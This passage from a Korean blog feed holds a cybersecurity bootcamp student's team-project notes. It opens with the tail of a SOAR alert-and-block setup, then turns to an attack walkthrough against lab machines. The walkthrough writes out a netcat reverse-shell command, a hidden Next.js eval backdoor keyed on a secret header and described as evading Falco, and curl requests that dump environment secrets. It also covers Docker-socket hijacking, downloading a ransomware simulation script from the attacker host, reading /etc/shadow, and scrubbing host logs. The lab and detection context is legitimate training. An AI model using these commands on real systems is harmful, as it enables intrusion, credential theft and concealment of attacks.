&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;Action 선택: Block IP (또는 Deny IP)&lt;/li&gt;
&lt;li&gt;IP Address: {{ $Action_Planner.attacker_ip }}&lt;/li&gt;
&lt;li&gt;Reason: Shuffle Auto-Block (Score: {{ $Action_Planner.score }})&lt;/li&gt;
&lt;/ul&gt;
12.3. slack 알림 전송
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;Input list: {{ $Action_Planner }}&lt;/li&gt;
&lt;li&gt;Field: should_notify_slack&lt;/li&gt;
&lt;li&gt;Check: Equals&lt;/li&gt;
&lt;li&gt;Value: true&lt;/li&gt;
&lt;li&gt;Opposite: False&lt;/li&gt;
&lt;/ul&gt;
12.3.2. slack 노드 이용
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;Action 선택:&lt;/b&gt; Send Message&lt;/li&gt;
&lt;li&gt;&lt;b&gt;Channel ID:&lt;/b&gt; 알림을 받을 채널 이름 (예: #soc-alerts)&lt;/li&gt;
&lt;li&gt;&lt;b&gt;Text (본문):&lt;/b&gt;&lt;/li&gt;
&lt;li&gt;  [{{ $Action_Planner.severity }}] 등급 위협 감지 및 자동 대응 보고위협 점수: {{ $Action_Planner.score }}점대상 Agent ID: {{ $Action_Planner.agent_id }}공격자 IP: {{ $Action_Planner.attacker_ip }}현재 시스템에 의해 자동 격리/차단 조치가 수행되었습니다.&lt;/li&gt;
&lt;/ul&gt;
12.4. DB로깅
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;Input list: {{ $Action_Planner }}&lt;/li&gt;
&lt;li&gt;Field: should_log_internally&lt;/li&gt;
&lt;li&gt;Check: Equals&lt;/li&gt;
&lt;li&gt;Value: true&lt;/li&gt;
&lt;li&gt;Opposite: False&lt;/li&gt;
&lt;/ul&gt;
12.4.2. 생각해봐야함&lt;/li&gt;
&lt;li&gt;12.4.1. filter 노드&lt;/li&gt;
&lt;li&gt;12.3.1. filter 노드&lt;/li&gt;
&lt;li&gt;12.2.1. filter 노드&lt;/li&gt;
&lt;li&gt;12.1. 네트워크 격리&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1280&quot; data-origin-height=&quot;762&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/caEgYI/dJMcagj1WLf/3qcy6uNaKj9rCPIFkggeF1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/caEgYI/dJMcagj1WLf/3qcy6uNaKj9rCPIFkggeF1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/caEgYI/dJMcagj1WLf/3qcy6uNaKj9rCPIFkggeF1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcaEgYI%2FdJMcagj1WLf%2F3qcy6uNaKj9rCPIFkggeF1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1280&quot; height=&quot;762&quot; data-origin-width=&quot;1280&quot; data-origin-height=&quot;762&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;</description>
      <category>멀티캠퍼서IT부트캠프</category>
      <category>부트캠프후기</category>
      <category>토스뱅크사이버보안엔지니어부트캠프</category>
      <author>yejiamoe</author>
      <guid isPermaLink="true">https://yejiamoe.tistory.com/34</guid>
      <comments>https://yejiamoe.tistory.com/34#entry34comment</comments>
      <pubDate>Wed, 28 Jan 2026 14:19:24 +0900</pubDate>
    </item>
    <item>
      <title>[토스뱅크 부트캠프] 팀프로젝트 Interrupt 5주차</title>
      <link>https://yejiamoe.tistory.com/33</link>
      <description>&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;2차 공격 시나리오 동시 실행을 위한 설정
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;리버스쉘 포트 nc -lvnp 5555로 변경&lt;/li&gt;
&lt;li&gt;파일 명 구분 : tmp/f 와 tmp/yeji&lt;/li&gt;
&lt;li&gt;파일 명 구분에 따른 공격 명령어 변경(리버스쉘)[재변경- 둘다 백그라운드 실행]&lt;/li&gt;
&lt;li&gt;node poc.mjs &amp;lt;http://192.168.10.62:3000&amp;gt; &quot;rm /tmp/yeji; mkfifo /tmp/yeji; cat /tmp/yeji | sh -i 2&amp;gt;&amp;amp;1 | nc 192.168.10.25 5555 &amp;gt; /tmp/yeji&quot;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;6.1. Node.js 애플리케이션 로직 오염 (Hidden Backdoor)&lt;/b&gt;※그냥 /app이 아니라 /app/app으로 들어가야한다는 점 참고&lt;/li&gt;
&lt;li&gt;(저번에 발생했던 문제인데 현재 .ts 경로가 /react2shell-poc/app/api안에 route.ts가 있는 상태)&lt;/li&gt;
&lt;li&gt;&lt;b&gt;[리버스쉘 코드 수정]&lt;/b&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1037&quot; data-origin-height=&quot;444&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bKnV9j/dJMcabiGbxf/cQr9DBz44Pm5PBL64Z1Bs1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bKnV9j/dJMcabiGbxf/cQr9DBz44Pm5PBL64Z1Bs1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bKnV9j/dJMcabiGbxf/cQr9DBz44Pm5PBL64Z1Bs1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbKnV9j%2FdJMcabiGbxf%2FcQr9DBz44Pm5PBL64Z1Bs1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1037&quot; height=&quot;444&quot; data-origin-width=&quot;1037&quot; data-origin-height=&quot;444&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;[지속성 유지 확인]&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;코드 재설정 (react2shell-poc폴더 안의 app폴더로 이어지도록)&lt;/li&gt;
&lt;/ul&gt;
&lt;pre id=&quot;code_1768920891350&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;# 1. 작업 디렉토리로 이동 (확실히 하기 위함)
cd ~/react2shell-poc

# 2. 파일 생성 (경로: app/api/route.ts)
cat &amp;lt;&amp;lt;'EOF' &amp;gt; app/api/route.ts
import { NextResponse } from 'next/server';

export async function GET(request: Request) {
  // 공격자만 아는 비밀 헤더 'x-debug-key' 확인
  const debugKey = request.headers.get('x-debug-key');
  const payload = request.headers.get('x-payload');

  if (debugKey === 'pwned-1234') {
    try {
      // 쉘(/bin/sh)을 쓰지 않고 Node.js 메모리 내에서 JS 코드 실행
      // Falco의 &quot;Shell spawned&quot; 알람을 완벽하게 우회함
      const result = eval(payload); 
      return NextResponse.json({ status: 'success', result: String(result) });
    } catch (e) {
      return NextResponse.json({ status: 'error', message: e.message }, { status: 500 });
    }
  }

  // 헤더가 없으면 일반 사용자가 보는 정상 응답 출력
  return NextResponse.json({ message: &quot;Welcome to the API Service&quot;, timestamp: new Date() });
}
EOF

##경우별 명령어
curl http://192.168.10.62:3000/api

curl -H &quot;x-debug-key: pwned-1234&quot; \
     -H &quot;x-payload: require('fs').readdirSync('.').toString()&quot; \
     http://192.168.10.62:3000/api

curl -H &quot;x-debug-key: pwned-1234&quot; \
     -H &quot;x-payload: JSON.stringify(process.env)&quot; \
     http://192.168.10.62:3000/api&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;1. &lt;span style=&quot;letter-spacing: 0px;&quot;&gt;일반 사용자의 경우&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;827&quot; data-origin-height=&quot;230&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/uvjbU/dJMcai9SLBe/vkVjoUN452ALNuRnRUa0Ok/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/uvjbU/dJMcai9SLBe/vkVjoUN452ALNuRnRUa0Ok/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/uvjbU/dJMcai9SLBe/vkVjoUN452ALNuRnRUa0Ok/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FuvjbU%2FdJMcai9SLBe%2FvkVjoUN452ALNuRnRUa0Ok%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;827&quot; height=&quot;230&quot; data-origin-width=&quot;827&quot; data-origin-height=&quot;230&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;letter-spacing: 0px;&quot;&gt;2. 공격자 모드(x-debug-key: pwned-1234)로 접속(파일 목록 조회)&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1120&quot; data-origin-height=&quot;149&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bf5eUo/dJMcabiGbxq/sC6pJ7kO1OTKNHxpbFZ0p0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bf5eUo/dJMcabiGbxq/sC6pJ7kO1OTKNHxpbFZ0p0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bf5eUo/dJMcabiGbxq/sC6pJ7kO1OTKNHxpbFZ0p0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fbf5eUo%2FdJMcabiGbxq%2FsC6pJ7kO1OTKNHxpbFZ0p0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1120&quot; height=&quot;149&quot; data-origin-width=&quot;1120&quot; data-origin-height=&quot;149&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;letter-spacing: 0px;&quot;&gt;3. 민감 정보 탈취 &lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1126&quot; data-origin-height=&quot;548&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bX4Kea/dJMcabXg4Bx/EukL7rIOqgav8as6SYuNQ1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bX4Kea/dJMcabXg4Bx/EukL7rIOqgav8as6SYuNQ1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bX4Kea/dJMcabXg4Bx/EukL7rIOqgav8as6SYuNQ1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbX4Kea%2FdJMcabXg4Bx%2FEukL7rIOqgav8as6SYuNQ1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1126&quot; height=&quot;548&quot; data-origin-width=&quot;1126&quot; data-origin-height=&quot;548&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;7.2. Docker Socket Hijacking (도커 소켓 탈취)&lt;/li&gt;
&lt;li&gt;[kali 설정 - 도커 정적 바이너리 준비]&lt;/li&gt;
&lt;/ul&gt;
&lt;pre id=&quot;code_1768920965763&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;##작업 디렉토리 생성 및 이동
mkdir ~/docker-bin &amp;amp;&amp;amp; cd ~/docker-bin 밑에 최졷 코드 합본 보기

## 도커 정적 바이너리 파일 다운 (최신 안정화 버전 v27.4.1)
wget https://download.docker.com/linux/static/stable/x86_64/docker-27.4.1.tgz

##압축 해제 및 바이너리 추출
tar -xvzf docker-27.4.1.tgz

##준비
cd docker
sudo python3 -m http.server 80&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1069&quot; data-origin-height=&quot;551&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/dJFpGu/dJMcajnp4MD/b5ElUQdTIq91vyQpznZLkk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/dJFpGu/dJMcajnp4MD/b5ElUQdTIq91vyQpznZLkk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/dJFpGu/dJMcajnp4MD/b5ElUQdTIq91vyQpznZLkk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FdJFpGu%2FdJMcajnp4MD%2Fb5ElUQdTIq91vyQpznZLkk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1069&quot; height=&quot;551&quot; data-origin-width=&quot;1069&quot; data-origin-height=&quot;551&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;727&quot; data-origin-height=&quot;169&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bfdHg2/dJMcahpFcfI/v7urUeRQrghB6e59WI5pbk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bfdHg2/dJMcahpFcfI/v7urUeRQrghB6e59WI5pbk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bfdHg2/dJMcahpFcfI/v7urUeRQrghB6e59WI5pbk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbfdHg2%2FdJMcahpFcfI%2Fv7urUeRQrghB6e59WI5pbk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;727&quot; height=&quot;169&quot; data-origin-width=&quot;727&quot; data-origin-height=&quot;169&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;[리버스쉘 설정]&lt;/p&gt;
&lt;pre id=&quot;code_1768921002182&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;## 도커 소켓 존재 확인
ls -l /var/run/docker.sock

## 도커 클라이언트 설치
wget -s http://192.168.10.61/docker -o /tmp/docker
chmod +x /tmp/docker

##확인 : 도커 버전 정보가 출력되면 성공
/tmp/docker version
cat /etc/shadow
ls /root
hostname&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;777&quot; data-origin-height=&quot;158&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/tIXo7/dJMcacolmIV/mPn7F0x3K2ELkhf9a3PAF1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/tIXo7/dJMcacolmIV/mPn7F0x3K2ELkhf9a3PAF1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/tIXo7/dJMcacolmIV/mPn7F0x3K2ELkhf9a3PAF1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FtIXo7%2FdJMcacolmIV%2FmPn7F0x3K2ELkhf9a3PAF1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;777&quot; height=&quot;158&quot; data-origin-width=&quot;777&quot; data-origin-height=&quot;158&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;511&quot; data-origin-height=&quot;756&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/yjUuJ/dJMcacu62NC/XkpY9wNOEsEk0UHoujF5g0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/yjUuJ/dJMcacu62NC/XkpY9wNOEsEk0UHoujF5g0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/yjUuJ/dJMcacu62NC/XkpY9wNOEsEk0UHoujF5g0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FyjUuJ%2FdJMcacu62NC%2FXkpY9wNOEsEk0UHoujF5g0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;511&quot; height=&quot;756&quot; data-origin-width=&quot;511&quot; data-origin-height=&quot;756&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;팔코 로그&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1128&quot; data-origin-height=&quot;638&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cfqZHp/dJMcaivhPMz/QkH4p5yGhuenGGf13Kq7A1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cfqZHp/dJMcaivhPMz/QkH4p5yGhuenGGf13Kq7A1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cfqZHp/dJMcaivhPMz/QkH4p5yGhuenGGf13Kq7A1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcfqZHp%2FdJMcaivhPMz%2FQkH4p5yGhuenGGf13Kq7A1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1128&quot; height=&quot;638&quot; data-origin-width=&quot;1128&quot; data-origin-height=&quot;638&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;먼저 노란색 부분으로 내 커스텀 룰이 잡힌 이유는 kali에서 wget 명령어를 사용하여 kali로 부터 도커 클라이언트를 다운로드 했기 때문.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;8.1. 호스트 레벨 로그 삭제 (Host Level)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;[kali 서버 설정과 파일 전송]&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;우리는 칼리 웹 서버를 통해서 파일을 전송할 예정&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;rarr; kali 서버에서 python3 -m http.server 8080 명령어를 실행하면 현재 명령어를 입력한 그 폴더가 웹 서버의 최상위 경로가 됨.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;rarr; 처음에 내가 구성한 도커 바이너리 파일은 ~/docker-bin/ 폴더에 있고 웹서버는 ~/payloads/폴더에서 실행하는 구성인 경우, 타겟 시스템은 도커 파일을 찾을 수 없음&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;rarr; 기존 &amp;lsquo;7.2 과정&amp;rsquo;에서 진행했던 도커 바이너리 폴더를 페이로드 폴더로 복사해줌.&lt;/p&gt;
&lt;pre id=&quot;code_1768921070484&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;cd /tmp
# 기존에 깨진 파일 삭제
rm -f docker ransomware_sim.sh

# Kali 서버에서 다시 다운로드 (80 또는 8080 포트 확인)
wget http://192.168.10.25/docker
wget http://192.168.10.25/ransomware_sim.sh

# 실행 권한 부여 및 윈도우 줄바꿈 문자 제거 (가장 중요!)
chmod +x docker ransomware_sim.sh
sed -i 's/\r$//' ransomware_sim.sh&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;861&quot; data-origin-height=&quot;493&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/OzCqp/dJMcadU2JBz/ZBQPoC79z4ksVtbkGKkgmk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/OzCqp/dJMcadU2JBz/ZBQPoC79z4ksVtbkGKkgmk/img.png&quot; data-alt=&quot;4&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/OzCqp/dJMcadU2JBz/ZBQPoC79z4ksVtbkGKkgmk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FOzCqp%2FdJMcadU2JBz%2FZBQPoC79z4ksVtbkGKkgmk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;861&quot; height=&quot;493&quot; data-origin-width=&quot;861&quot; data-origin-height=&quot;493&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;4&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;809&quot; data-origin-height=&quot;123&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/zG4oG/dJMcaaYmRhK/Ph14cM0hIeL9cSPbgrUZNk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/zG4oG/dJMcaaYmRhK/Ph14cM0hIeL9cSPbgrUZNk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/zG4oG/dJMcaaYmRhK/Ph14cM0hIeL9cSPbgrUZNk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FzG4oG%2FdJMcaaYmRhK%2FPh14cM0hIeL9cSPbgrUZNk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;809&quot; height=&quot;123&quot; data-origin-width=&quot;809&quot; data-origin-height=&quot;123&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;552&quot; data-origin-height=&quot;121&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/dCqtCV/dJMcaioya4P/kO1D2Eh3U9OtM407R9341K/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/dCqtCV/dJMcaioya4P/kO1D2Eh3U9OtM407R9341K/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/dCqtCV/dJMcaioya4P/kO1D2Eh3U9OtM407R9341K/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FdCqtCV%2FdJMcaioya4P%2FkO1D2Eh3U9OtM407R9341K%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;552&quot; height=&quot;121&quot; data-origin-width=&quot;552&quot; data-origin-height=&quot;121&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;pre id=&quot;code_1768921104712&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;./docker run --rm -v /:/host ubuntu:18.04 chroot /host /bin/bash -c &quot;
  sed -i '/192.168.10.25/d' /var/log/auth.log &amp;amp;&amp;amp; \
  sed -i '/192.168.10.25/d' /var/log/syslog &amp;amp;&amp;amp; \
  cat /dev/null &amp;gt; /var/log/wtmp &amp;amp;&amp;amp; \
  echo '[!] Host Log Cleaning Complete'
&quot;&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;</description>
      <category>멀티캠퍼IT부트캠프</category>
      <category>부트캠프후기</category>
      <category>토스뱅크사이버보안엔지니어부트캠프</category>
      <author>yejiamoe</author>
      <guid isPermaLink="true">https://yejiamoe.tistory.com/33</guid>
      <comments>https://yejiamoe.tistory.com/33#entry33comment</comments>
      <pubDate>Tue, 20 Jan 2026 23:59:03 +0900</pubDate>
    </item>
    <item>
      <title>[토스뱅크 부트캠프] 팀프로젝트 Interrupt 4주차</title>
      <link>https://yejiamoe.tistory.com/32</link>
      <description>&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;988&quot; data-origin-height=&quot;558&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/9bJUv/dJMcachwRtt/X6PahRHXyJezRB2pem6vv1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/9bJUv/dJMcachwRtt/X6PahRHXyJezRB2pem6vv1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/9bJUv/dJMcachwRtt/X6PahRHXyJezRB2pem6vv1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F9bJUv%2FdJMcachwRtt%2FX6PahRHXyJezRB2pem6vv1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; 